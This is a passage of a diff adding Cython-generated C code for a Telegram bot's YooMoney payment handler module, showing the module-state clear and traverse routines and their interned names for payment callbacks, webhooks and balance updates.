CYTHON_USE_MODULE_STATE +#ifdef __cplusplus +namespace { + extern struct PyModuleDef __pyx_moduledef; +} /* anonymous namespace */ +#else +static struct PyModuleDef __pyx_moduledef; +#endif + +#define __pyx_mstate(o) ((__pyx_mstate *)__Pyx_PyModule_GetState(o)) + +#define __pyx_mstate_global (__pyx_mstate(PyState_FindModule(&__pyx_moduledef))) + +#define __pyx_m (PyState_FindModule(&__pyx_moduledef)) +#else +static __pyx_mstate __pyx_mstate_global_static = +#ifdef __cplusplus + {}; +#else + {0}; +#endif +static __pyx_mstate *__pyx_mstate_global = &__pyx_mstate_global_static; +#endif +/* #### Code section: module_state_clear ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_clear(PyObject *m) { + __pyx_mstate *clear_module_state = __pyx_mstate(m); + if (!clear_module_state) return 0; + Py_CLEAR(clear_module_state->__pyx_d); + Py_CLEAR(clear_module_state->__pyx_b); + Py_CLEAR(clear_module_state->__pyx_cython_runtime); + Py_CLEAR(clear_module_state->__pyx_empty_tuple); + Py_CLEAR(clear_module_state->__pyx_empty_bytes); + Py_CLEAR(clear_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_CLEAR(clear_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_CLEAR(clear_module_state->__pyx_FusedFunctionType); + #endif + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_kp_u_Account_ID); + Py_CLEAR(clear_module_state->__pyx_n_s_Any); + Py_CLEAR(clear_module_state->__pyx_n_s_F); + Py_CLEAR(clear_module_state->__pyx_n_s_FSMContext); + Py_CLEAR(clear_module_state->__pyx_n_u_HASHHASHYOOKASSA); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardButton); + Py_CLEAR(clear_module_state->__pyx_n_s_InlineKeyboardMarkup); + Py_CLEAR(clear_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_CLEAR(clear_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); + Py_CLEAR(clear_module_state->__pyx_n_s_ReplenishBalanceState); + Py_CLEAR(clear_module_state->__pyx_n_s_Response); + Py_CLEAR(clear_module_state->__pyx_n_s_Router); + Py_CLEAR(clear_module_state->__pyx_n_s_State); + Py_CLEAR(clear_module_state->__pyx_n_s_StatesGroup); + Py_CLEAR(clear_module_state->__pyx_n_s_ValueError); + Py_CLEAR(clear_module_state->__pyx_kp_u_Webhook_event_received); + Py_CLEAR(clear_module_state->__pyx_n_s_YOOKASSA_HASH); + Py_CLEAR(clear_module_state->__pyx_kp_u_YOOKASSA_HASH_2); + Py_CLEAR(clear_module_state->__pyx_n_s_YOOMONEY_ENABLE); + Py_CLEAR(clear_module_state->__pyx_n_s_YOOMONEY_ID); + Py_CLEAR(clear_module_state->__pyx_n_s_YOOMONEY_SECRET_KEY); + Py_CLEAR(clear_module_state->__pyx_kp_u__10); + Py_CLEAR(clear_module_state->__pyx_kp_u__12); + Py_CLEAR(clear_module_state->__pyx_kp_u__13); + Py_CLEAR(clear_module_state->__pyx_kp_u__15); + Py_CLEAR(clear_module_state->__pyx_kp_u__16); + Py_CLEAR(clear_module_state->__pyx_kp_u__19); + Py_CLEAR(clear_module_state->__pyx_kp_u__2); + Py_CLEAR(clear_module_state->__pyx_kp_u__20); + Py_CLEAR(clear_module_state->__pyx_n_s__21); + Py_CLEAR(clear_module_state->__pyx_kp_u__22); + Py_CLEAR(clear_module_state->__pyx_n_s__29); + Py_CLEAR(clear_module_state->__pyx_kp_u__3); + Py_CLEAR(clear_module_state->__pyx_kp_u__4); + Py_CLEAR(clear_module_state->__pyx_kp_u__6); + Py_CLEAR(clear_module_state->__pyx_n_u__8); + Py_CLEAR(clear_module_state->__pyx_kp_u__9); + Py_CLEAR(clear_module_state->__pyx_n_s_account_id); + Py_CLEAR(clear_module_state->__pyx_n_s_add_connection); + Py_CLEAR(clear_module_state->__pyx_n_s_add_payment); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_context); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_fsm_state); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_types); + Py_CLEAR(clear_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_aiohttp); + Py_CLEAR(clear_module_state->__pyx_n_s_amount); + Py_CLEAR(clear_module_state->__pyx_n_u_amount); + Py_CLEAR(clear_module_state->__pyx_kp_u_amount_2); + Py_CLEAR(clear_module_state->__pyx_n_s_amount_str); + Py_CLEAR(clear_module_state->__pyx_n_s_answer); + Py_CLEAR(clear_module_state->__pyx_n_s_args); + Py_CLEAR(clear_module_state->__pyx_n_s_as_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_asyncio_coroutines); + Py_CLEAR(clear_module_state->__pyx_n_s_await); + Py_CLEAR(clear_module_state->__pyx_n_s_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_builder); + Py_CLEAR(clear_module_state->__pyx_n_s_calculated_hash); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_u_callback_data); + Py_CLEAR(clear_module_state->__pyx_n_s_callback_query); + Py_CLEAR(clear_module_state->__pyx_n_s_chat); + Py_CLEAR(clear_module_state->__pyx_n_s_check_connection_exists); + Py_CLEAR(clear_module_state->__pyx_n_s_choosing_amount_yoomoney); + Py_CLEAR(clear_module_state->__pyx_n_s_class_getitem); + Py_CLEAR(clear_module_state->__pyx_n_s_cline_in_traceback); + Py_CLEAR(clear_module_state->__pyx_n_s_close); + Py_CLEAR(clear_module_state->__pyx_n_u_codepro); + Py_CLEAR(clear_module_state->__pyx_n_s_config); + Py_CLEAR(clear_module_state->__pyx_n_s_confirm_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_u_currency); + Py_CLEAR(clear_module_state->__pyx_n_s_customer_id); + Py_CLEAR(clear_module_state->__pyx_n_s_data); + Py_CLEAR(clear_module_state->__pyx_n_s_database); + Py_CLEAR(clear_module_state->__pyx_n_u_datetime); + Py_CLEAR(clear_module_state->__pyx_n_s_debug); + Py_CLEAR(clear_module_state->__pyx_n_s_dict); + Py_CLEAR(clear_module_state->__pyx_kp_u_disable); + Py_CLEAR(clear_module_state->__pyx_n_s_doc); + Py_CLEAR(clear_module_state->__pyx_n_s_e); + Py_CLEAR(clear_module_state->__pyx_kp_u_enable); + Py_CLEAR(clear_module_state->__pyx_n_u_enter_custom_amount_yoomoney); + Py_CLEAR(clear_module_state->__pyx_n_s_entering_custom_amount_yoomoney); + Py_CLEAR(clear_module_state->__pyx_n_s_error); + Py_CLEAR(clear_module_state->__pyx_n_s_exists); + Py_CLEAR(clear_module_state->__pyx_n_s_expected_hash); + Py_CLEAR(clear_module_state->__pyx_kp_u_gc); + Py_CLEAR(clear_module_state->__pyx_n_s_get); + Py_CLEAR(clear_module_state->__pyx_n_s_get_key_count); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_gift); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_utils); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_payments_yoomoney_pay); + Py_CLEAR(clear_module_state->__pyx_kp_s_handlers_payments_yoomoney_pay_p); + Py_CLEAR(clear_module_state->__pyx_n_s_handlers_texts); + Py_CLEAR(clear_module_state->__pyx_n_s_hashlib); + Py_CLEAR(clear_module_state->__pyx_n_s_hexdigest); + Py_CLEAR(clear_module_state->__pyx_kp_u_https_yoomoney_ru_quickpay_confi); + Py_CLEAR(clear_module_state->__pyx_n_s_i); + Py_CLEAR(clear_module_state->__pyx_n_s_id); + Py_CLEAR(clear_module_state->__pyx_n_s_import); + Py_CLEAR(clear_module_state->__pyx_n_s_init_subclass); + Py_CLEAR(clear_module_state->__pyx_n_s_initializing); + Py_CLEAR(clear_module_state->__pyx_n_s_inline_keyboard); + Py_CLEAR(clear_module_state->__pyx_n_s_is_coroutine); + Py_CLEAR(clear_module_state->__pyx_n_s_isdigit); + Py_CLEAR(clear_module_state->__pyx_kp_u_isenabled); + Py_CLEAR(clear_module_state->__pyx_n_s_key_count); + Py_CLEAR(clear_module_state->__pyx_n_u_label); + Py_CLEAR(clear_module_state->__pyx_n_s_logger); + Py_CLEAR(clear_module_state->__pyx_n_s_main); + Py_CLEAR(clear_module_state->__pyx_n_s_message); + Py_CLEAR(clear_module_state->__pyx_n_s_metaclass); + Py_CLEAR(clear_module_state->__pyx_n_s_module); + Py_CLEAR(clear_module_state->__pyx_n_s_mro_entries); + Py_CLEAR(clear_module_state->__pyx_n_s_name); + Py_CLEAR(clear_module_state->__pyx_n_s_notification_secret); + Py_CLEAR(clear_module_state->__pyx_n_u_notification_type); + Py_CLEAR(clear_module_state->__pyx_n_u_operation_id); + Py_CLEAR(clear_module_state->__pyx_n_u_pay); + Py_CLEAR(clear_module_state->__pyx_n_u_pay_yoomoney); + Py_CLEAR(clear_module_state->__pyx_kp_u_paymentType_PC_comment_label); + Py_CLEAR(clear_module_state->__pyx_n_s_payment_url); + Py_CLEAR(clear_module_state->__pyx_n_s_post); + Py_CLEAR(clear_module_state->__pyx_n_s_prepare); + Py_CLEAR(clear_module_state->__pyx_n_s_process_amount_selection); + Py_CLEAR(clear_module_state->__pyx_n_s_process_callback_pay_yoomoney); + Py_CLEAR(clear_module_state->__pyx_n_s_process_custom_amount_input); + Py_CLEAR(clear_module_state->__pyx_n_s_process_enter_custom_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_qualname); + Py_CLEAR(clear_module_state->__pyx_kp_u_quickpay_form_shop_targets_sum); + Py_CLEAR(clear_module_state->__pyx_n_s_range); + Py_CLEAR(clear_module_state->__pyx_n_s_reply_markup); + Py_CLEAR(clear_module_state->__pyx_n_s_request); + Py_CLEAR(clear_module_state->__pyx_n_s_router); + Py_CLEAR(clear_module_state->__pyx_n_s_row); + Py_CLEAR(clear_module_state->__pyx_n_s_send); + Py_CLEAR(clear_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_CLEAR(clear_module_state->__pyx_n_u_sender); + Py_CLEAR(clear_module_state->__pyx_n_s_session); + Py_CLEAR(clear_module_state->__pyx_n_s_set_name); + Py_CLEAR(clear_module_state->__pyx_n_s_set_state); + Py_CLEAR(clear_module_state->__pyx_n_s_sha1); + Py_CLEAR(clear_module_state->__pyx_n_s_sha1_hash); + Py_CLEAR(clear_module_state->__pyx_n_u_sha1_hash); + Py_CLEAR(clear_module_state->__pyx_kp_u_solonet_sup); + Py_CLEAR(clear_module_state->__pyx_n_s_spec); + Py_CLEAR(clear_module_state->__pyx_n_s_split); + Py_CLEAR(clear_module_state->__pyx_n_s_startswith); + Py_CLEAR(clear_module_state->__pyx_n_s_state); + Py_CLEAR(clear_module_state->__pyx_n_s_status); + Py_CLEAR(clear_module_state->__pyx_n_s_string_to_hash); + Py_CLEAR(clear_module_state->__pyx_n_s_super); + Py_CLEAR(clear_module_state->__pyx_n_s_test); + Py_CLEAR(clear_module_state->__pyx_n_s_text); + Py_CLEAR(clear_module_state->__pyx_n_u_text); + Py_CLEAR(clear_module_state->__pyx_n_s_tg_id); + Py_CLEAR(clear_module_state->__pyx_n_s_throw); + Py_CLEAR(clear_module_state->__pyx_n_s_trial); + Py_CLEAR(clear_module_state->__pyx_n_s_types); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_CallbackQuery); + Py_CLEAR(clear_module_state->__pyx_kp_s_types_Message); + Py_CLEAR(clear_module_state->__pyx_n_s_typing); + Py_CLEAR(clear_module_state->__pyx_n_s_update_balance); + Py_CLEAR(clear_module_state->__pyx_n_s_update_data); + Py_CLEAR(clear_module_state->__pyx_n_s_url); + Py_CLEAR(clear_module_state->__pyx_n_s_user_id); + Py_CLEAR(clear_module_state->__pyx_kp_u_user_id_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_user_id_str); + Py_CLEAR(clear_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_CLEAR(clear_module_state->__pyx_n_s_web); + Py_CLEAR(clear_module_state->__pyx_kp_s_web_Request); + Py_CLEAR(clear_module_state->__pyx_n_u_withdraw_amount); + Py_CLEAR(clear_module_state->__pyx_n_u_yoomoney); + Py_CLEAR(clear_module_state->__pyx_n_u_yoomoney_2); + Py_CLEAR(clear_module_state->__pyx_n_u_yoomoney_amount); + Py_CLEAR(clear_module_state->__pyx_n_s_yoomoney_webhook); + Py_CLEAR(clear_module_state->__pyx_float_0_0); + Py_CLEAR(clear_module_state->__pyx_int_0); + Py_CLEAR(clear_module_state->__pyx_int_1); + Py_CLEAR(clear_module_state->__pyx_int_2); + Py_CLEAR(clear_module_state->__pyx_int_200); + Py_CLEAR(clear_module_state->__pyx_int_400); + Py_CLEAR(clear_module_state->__pyx_codeobj_); + Py_CLEAR(clear_module_state->__pyx_tuple__7); + Py_CLEAR(clear_module_state->__pyx_tuple__17); + Py_CLEAR(clear_module_state->__pyx_tuple__23); + Py_CLEAR(clear_module_state->__pyx_tuple__24); + Py_CLEAR(clear_module_state->__pyx_tuple__25); + Py_CLEAR(clear_module_state->__pyx_tuple__26); + Py_CLEAR(clear_module_state->__pyx_tuple__27); + Py_CLEAR(clear_module_state->__pyx_tuple__28); + Py_CLEAR(clear_module_state->__pyx_codeobj__5); + Py_CLEAR(clear_module_state->__pyx_codeobj__11); + Py_CLEAR(clear_module_state->__pyx_codeobj__14); + Py_CLEAR(clear_module_state->__pyx_codeobj__18); + return 0; +} +#endif +/* #### Code section: module_state_traverse ### */ +#if CYTHON_USE_MODULE_STATE +static int __pyx_m_traverse(PyObject *m, visitproc visit, void *arg) { + __pyx_mstate *traverse_module_state = __pyx_mstate(m); + if (!traverse_module_state) return 0; + Py_VISIT(traverse_module_state->__pyx_d); + Py_VISIT(traverse_module_state->__pyx_b); + Py_VISIT(traverse_module_state->__pyx_cython_runtime); + Py_VISIT(traverse_module_state->__pyx_empty_tuple); + Py_VISIT(traverse_module_state->__pyx_empty_bytes); + Py_VISIT(traverse_module_state->__pyx_empty_unicode); + #ifdef __Pyx_CyFunction_USED + Py_VISIT(traverse_module_state->__pyx_CyFunctionType); + #endif + #ifdef __Pyx_FusedFunction_USED + Py_VISIT(traverse_module_state->__pyx_FusedFunctionType); + #endif + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct__process_callback_pay_yoomoney); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_1_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_2_yoomoney_webhook); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_3_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_ptype_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_type_8handlers_8payments_12yoomoney_pay___pyx_scope_struct_4_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_kp_u_Account_ID); + Py_VISIT(traverse_module_state->__pyx_n_s_Any); + Py_VISIT(traverse_module_state->__pyx_n_s_F); + Py_VISIT(traverse_module_state->__pyx_n_s_FSMContext); + Py_VISIT(traverse_module_state->__pyx_n_u_HASHHASHYOOKASSA); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardBuilder); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardButton); + Py_VISIT(traverse_module_state->__pyx_n_s_InlineKeyboardMarkup); + Py_VISIT(traverse_module_state->__pyx_n_s_PAYMENT_OPTIONS); + Py_VISIT(traverse_module_state->__pyx_kp_u_Payment_succeeded_for_user_id); + Py_VISIT(traverse_module_state->__pyx_n_s_ReplenishBalanceState); + Py_VISIT(traverse_module_state->__pyx_n_s_Response); + Py_VISIT(traverse_module_state->__pyx_n_s_Router); + Py_VISIT(traverse_module_state->__pyx_n_s_State); + Py_VISIT(traverse_module_state->__pyx_n_s_StatesGroup); + Py_VISIT(traverse_module_state->__pyx_n_s_ValueError); + Py_VISIT(traverse_module_state->__pyx_kp_u_Webhook_event_received); + Py_VISIT(traverse_module_state->__pyx_n_s_YOOKASSA_HASH); + Py_VISIT(traverse_module_state->__pyx_kp_u_YOOKASSA_HASH_2); + Py_VISIT(traverse_module_state->__pyx_n_s_YOOMONEY_ENABLE); + Py_VISIT(traverse_module_state->__pyx_n_s_YOOMONEY_ID); + Py_VISIT(traverse_module_state->__pyx_n_s_YOOMONEY_SECRET_KEY); + Py_VISIT(traverse_module_state->__pyx_kp_u__10); + Py_VISIT(traverse_module_state->__pyx_kp_u__12); + Py_VISIT(traverse_module_state->__pyx_kp_u__13); + Py_VISIT(traverse_module_state->__pyx_kp_u__15); + Py_VISIT(traverse_module_state->__pyx_kp_u__16); + Py_VISIT(traverse_module_state->__pyx_kp_u__19); + Py_VISIT(traverse_module_state->__pyx_kp_u__2); + Py_VISIT(traverse_module_state->__pyx_kp_u__20); + Py_VISIT(traverse_module_state->__pyx_n_s__21); + Py_VISIT(traverse_module_state->__pyx_kp_u__22); + Py_VISIT(traverse_module_state->__pyx_n_s__29); + Py_VISIT(traverse_module_state->__pyx_kp_u__3); + Py_VISIT(traverse_module_state->__pyx_kp_u__4); + Py_VISIT(traverse_module_state->__pyx_kp_u__6); + Py_VISIT(traverse_module_state->__pyx_n_u__8); + Py_VISIT(traverse_module_state->__pyx_kp_u__9); + Py_VISIT(traverse_module_state->__pyx_n_s_account_id); + Py_VISIT(traverse_module_state->__pyx_n_s_add_connection); + Py_VISIT(traverse_module_state->__pyx_n_s_add_payment); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_context); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_fsm_state); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_types); + Py_VISIT(traverse_module_state->__pyx_n_s_aiogram_utils_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_aiohttp); + Py_VISIT(traverse_module_state->__pyx_n_s_amount); + Py_VISIT(traverse_module_state->__pyx_n_u_amount); + Py_VISIT(traverse_module_state->__pyx_kp_u_amount_2); + Py_VISIT(traverse_module_state->__pyx_n_s_amount_str); + Py_VISIT(traverse_module_state->__pyx_n_s_answer); + Py_VISIT(traverse_module_state->__pyx_n_s_args); + Py_VISIT(traverse_module_state->__pyx_n_s_as_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_asyncio_coroutines); + Py_VISIT(traverse_module_state->__pyx_n_s_await); + Py_VISIT(traverse_module_state->__pyx_n_s_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_builder); + Py_VISIT(traverse_module_state->__pyx_n_s_calculated_hash); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_u_callback_data); + Py_VISIT(traverse_module_state->__pyx_n_s_callback_query); + Py_VISIT(traverse_module_state->__pyx_n_s_chat); + Py_VISIT(traverse_module_state->__pyx_n_s_check_connection_exists); + Py_VISIT(traverse_module_state->__pyx_n_s_choosing_amount_yoomoney); + Py_VISIT(traverse_module_state->__pyx_n_s_class_getitem); + Py_VISIT(traverse_module_state->__pyx_n_s_cline_in_traceback); + Py_VISIT(traverse_module_state->__pyx_n_s_close); + Py_VISIT(traverse_module_state->__pyx_n_u_codepro); + Py_VISIT(traverse_module_state->__pyx_n_s_config); + Py_VISIT(traverse_module_state->__pyx_n_s_confirm_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_u_currency); + Py_VISIT(traverse_module_state->__pyx_n_s_customer_id); + Py_VISIT(traverse_module_state->__pyx_n_s_data); + Py_VISIT(traverse_module_state->__pyx_n_s_database); + Py_VISIT(traverse_module_state->__pyx_n_u_datetime); + Py_VISIT(traverse_module_state->__pyx_n_s_debug); + Py_VISIT(traverse_module_state->__pyx_n_s_dict); + Py_VISIT(traverse_module_state->__pyx_kp_u_disable); + Py_VISIT(traverse_module_state->__pyx_n_s_doc); + Py_VISIT(traverse_module_state->__pyx_n_s_e); + Py_VISIT(traverse_module_state->__pyx_kp_u_enable); + Py_VISIT(traverse_module_state->__pyx_n_u_enter_custom_amount_yoomoney); + Py_VISIT(traverse_module_state->__pyx_n_s_entering_custom_amount_yoomoney); + Py_VISIT(traverse_module_state->__pyx_n_s_error); + Py_VISIT(traverse_module_state->__pyx_n_s_exists); + Py_VISIT(traverse_module_state->__pyx_n_s_expected_hash); + Py_VISIT(traverse_module_state->__pyx_kp_u_gc); + Py_VISIT(traverse_module_state->__pyx_n_s_get); + Py_VISIT(traverse_module_state->__pyx_n_s_get_key_count); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_gift); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_utils); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_payments_yoomoney_pay); + Py_VISIT(traverse_module_state->__pyx_kp_s_handlers_payments_yoomoney_pay_p); + Py_VISIT(traverse_module_state->__pyx_n_s_handlers_texts); + Py_VISIT(traverse_module_state->__pyx_n_s_hashlib); + Py_VISIT(traverse_module_state->__pyx_n_s_hexdigest); + Py_VISIT(traverse_module_state->__pyx_kp_u_https_yoomoney_ru_quickpay_confi); + Py_VISIT(traverse_module_state->__pyx_n_s_i); + Py_VISIT(traverse_module_state->__pyx_n_s_id); + Py_VISIT(traverse_module_state->__pyx_n_s_import); + Py_VISIT(traverse_module_state->__pyx_n_s_init_subclass); + Py_VISIT(traverse_module_state->__pyx_n_s_initializing); + Py_VISIT(traverse_module_state->__pyx_n_s_inline_keyboard); + Py_VISIT(traverse_module_state->__pyx_n_s_is_coroutine); + Py_VISIT(traverse_module_state->__pyx_n_s_isdigit); + Py_VISIT(traverse_module_state->__pyx_kp_u_isenabled); + Py_VISIT(traverse_module_state->__pyx_n_s_key_count); + Py_VISIT(traverse_module_state->__pyx_n_u_label); + Py_VISIT(traverse_module_state->__pyx_n_s_logger); + Py_VISIT(traverse_module_state->__pyx_n_s_main); + Py_VISIT(traverse_module_state->__pyx_n_s_message); + Py_VISIT(traverse_module_state->__pyx_n_s_metaclass); + Py_VISIT(traverse_module_state->__pyx_n_s_module); + Py_VISIT(traverse_module_state->__pyx_n_s_mro_entries); + Py_VISIT(traverse_module_state->__pyx_n_s_name); + Py_VISIT(traverse_module_state->__pyx_n_s_notification_secret); + Py_VISIT(traverse_module_state->__pyx_n_u_notification_type); + Py_VISIT(traverse_module_state->__pyx_n_u_operation_id); + Py_VISIT(traverse_module_state->__pyx_n_u_pay); + Py_VISIT(traverse_module_state->__pyx_n_u_pay_yoomoney); + Py_VISIT(traverse_module_state->__pyx_kp_u_paymentType_PC_comment_label); + Py_VISIT(traverse_module_state->__pyx_n_s_payment_url); + Py_VISIT(traverse_module_state->__pyx_n_s_post); + Py_VISIT(traverse_module_state->__pyx_n_s_prepare); + Py_VISIT(traverse_module_state->__pyx_n_s_process_amount_selection); + Py_VISIT(traverse_module_state->__pyx_n_s_process_callback_pay_yoomoney); + Py_VISIT(traverse_module_state->__pyx_n_s_process_custom_amount_input); + Py_VISIT(traverse_module_state->__pyx_n_s_process_enter_custom_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_qualname); + Py_VISIT(traverse_module_state->__pyx_kp_u_quickpay_form_shop_targets_sum); + Py_VISIT(traverse_module_state->__pyx_n_s_range); + Py_VISIT(traverse_module_state->__pyx_n_s_reply_markup); + Py_VISIT(traverse_module_state->__pyx_n_s_request); + Py_VISIT(traverse_module_state->__pyx_n_s_router); + Py_VISIT(traverse_module_state->__pyx_n_s_row); + Py_VISIT(traverse_module_state->__pyx_n_s_send); + Py_VISIT(traverse_module_state->__pyx_n_s_send_payment_success_notificatio); + Py_VISIT(traverse_module_state->__pyx_n_u_sender); + Py_VISIT(traverse_module_state->__pyx_n_s_session); + Py_VISIT(traverse_module_state->__pyx_n_s_set_name); + Py_VISIT(traverse_module_state->__pyx_n_s_set_state); + Py_VISIT(traverse_module_state->__pyx_n_s_sha1); + Py_VISIT(traverse_module_state->__pyx_n_s_sha1_hash); + Py_VISIT(traverse_module_state->__pyx_n_u_sha1_hash); + Py_VISIT(traverse_module_state->__pyx_kp_u_solonet_sup); + Py_VISIT(traverse_module_state->__pyx_n_s_spec); + Py_VISIT(traverse_module_state->__pyx_n_s_split); + Py_VISIT(traverse_module_state->__pyx_n_s_startswith); + Py_VISIT(traverse_module_state->__pyx_n_s_state); + Py_VISIT(traverse_module_state->__pyx_n_s_status); + Py_VISIT(traverse_module_state->__pyx_n_s_string_to_hash); + Py_VISIT(traverse_module_state->__pyx_n_s_super); + Py_VISIT(traverse_module_state->__pyx_n_s_test); + Py_VISIT(traverse_module_state->__pyx_n_s_text); + Py_VISIT(traverse_module_state->__pyx_n_u_text); + Py_VISIT(traverse_module_state->__pyx_n_s_tg_id); + Py_VISIT(traverse_module_state->__pyx_n_s_throw); + Py_VISIT(traverse_module_state->__pyx_n_s_trial); + Py_VISIT(traverse_module_state->__pyx_n_s_types); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_CallbackQuery); + Py_VISIT(traverse_module_state->__pyx_kp_s_types_Message); + Py_VISIT(traverse_module_state->__pyx_n_s_typing); + Py_VISIT(traverse_module_state->__pyx_n_s_update_balance); + Py_VISIT(traverse_module_state->__pyx_n_s_update_data); + Py_VISIT(traverse_module_state->__pyx_n_s_url); + Py_VISIT(traverse_module_state->__pyx_n_s_user_id); + Py_VISIT(traverse_module_state->__pyx_kp_u_user_id_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_user_id_str); + Py_VISIT(traverse_module_state->__pyx_n_s_waiting_for_payment_confirmation); + Py_VISIT(traverse_module_state->__pyx_n_s_web); + Py_VISIT(traverse_module_state->__pyx_kp_s_web_Request); + Py_VISIT(traverse_module_state->__pyx_n_u_withdraw_amount); + Py_VISIT(traverse_module_state->__pyx_n_u_yoomoney); + Py_VISIT(traverse_module_state->__pyx_n_u_yoomoney_2); + Py_VISIT(traverse_module_state->__pyx_n_u_yoomoney_amount); + Py_VISIT(traverse_module_state->__pyx_n_s_yoomoney_webhook); + Py_VISIT(traverse_module_state->__pyx_float_0_0); + Py_VISIT(traverse_module_state->__pyx_int_0); + Py_VISIT(traverse_module_state->__pyx_int_1); + Py_VISIT(traverse_module_state->__pyx_int_2); + Py_VISIT(traverse_module_state->__pyx_int_200); + Py_VISIT(traverse_module_state->__pyx_int_400); + Py_VISIT(traverse_module_state->__pyx_codeobj_); + Py_VISIT(traverse_module_state->__pyx_tuple__7); + Py_VISIT(traverse_module_state->__pyx_tuple__17); + Py_VISIT(traverse_module_state->__pyx_tuple__23); + Py_VISIT(traverse_module_state->__pyx_tuple__24); + Py_VISIT(traverse_module_state->__pyx_tuple__25); + Py_VISIT(traverse_module_state->__pyx_tuple__26); + Py_VISIT(traverse_module_state->__pyx_tuple__27); + Py_VISIT(traverse_module_state->__pyx_tuple__28); + Py_VISIT(traverse_module_state->__pyx_codeobj__5); + Py_VISIT(traverse_module_state->__pyx_codeobj__11); + Py_VISIT(traverse_module_state->__pyx_codeobj__14); + Py_VISIT(traverse_module_state->__pyx_codeobj__18); + return 0; +} +#endif +/* #### Code section: module_state_defines ### */ +#define __pyx_d __pyx_mstate_global->__pyx_d +#define __pyx_b __pyx_mstate_global->__pyx_b +#define __pyx_cython_runtime __pyx_mstate_global->__pyx_cython_runtime +#define __pyx_empty_tuple __pyx_mstate_global->__pyx_empty_tuple +#define __pyx_empty_bytes __pyx_mstate_global->__pyx_empty_bytes +#define __pyx_empty_unicode __pyx_mstate_global->__pyx_empty_unicode +#ifdef __Pyx_CyFunction_USED +#define __pyx_CyFunctionType 